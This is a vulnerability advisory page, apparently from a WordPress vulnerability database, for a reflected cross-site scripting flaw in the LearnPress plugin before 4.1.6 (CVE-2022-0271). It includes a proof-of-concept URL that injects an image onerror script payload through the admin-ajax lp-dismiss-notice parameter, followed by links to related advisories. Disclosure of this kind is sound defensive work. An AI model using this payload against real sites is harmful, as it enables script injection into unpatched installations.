Lucene search
Krzysztof ZającWPEX-ID:AD07D9CD-8A75-4F7C-BBBE-3B6B89B699F2HistoryMar 16, 2022 - 12:00 a.m.
LearnPress < 4.1.6 - Reflected Cross-Site Scripting
2022-03-1600:00:00
Krzysztof Zając
88
0.001 Low
EPSS
Percentile
43.6%
The plugin does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx%3Cimg%20src%20onerror=alert(`XSS`)%3ERelated
cve
cve
CVE-2022-0271
2022-04-11 15:15:08
patchstack
patchstack
nuclei
nuclei
LearnPress <4.1.6 - Cross-Site Scripting
2022-04-15 13:50:14
prion
prion
Cross site scripting
2022-04-11 15:15:00
openvas
openvas
WordPress LearnPress Plugin < 4.1.6 XSS Vulnerability
2022-04-27 00:00:00
nvd
nvd
CVE-2022-0271
2022-04-11 15:15:08
wpvulndb
wpvulndb
LearnPress < 4.1.6 - Reflected Cross-Site Scripting
2022-03-16 00:00:00
cvelist
cvelist
CVE-2022-0271 LearnPress < 4.1.6 - Reflected Cross-Site Scripting
2022-04-11 14:40:41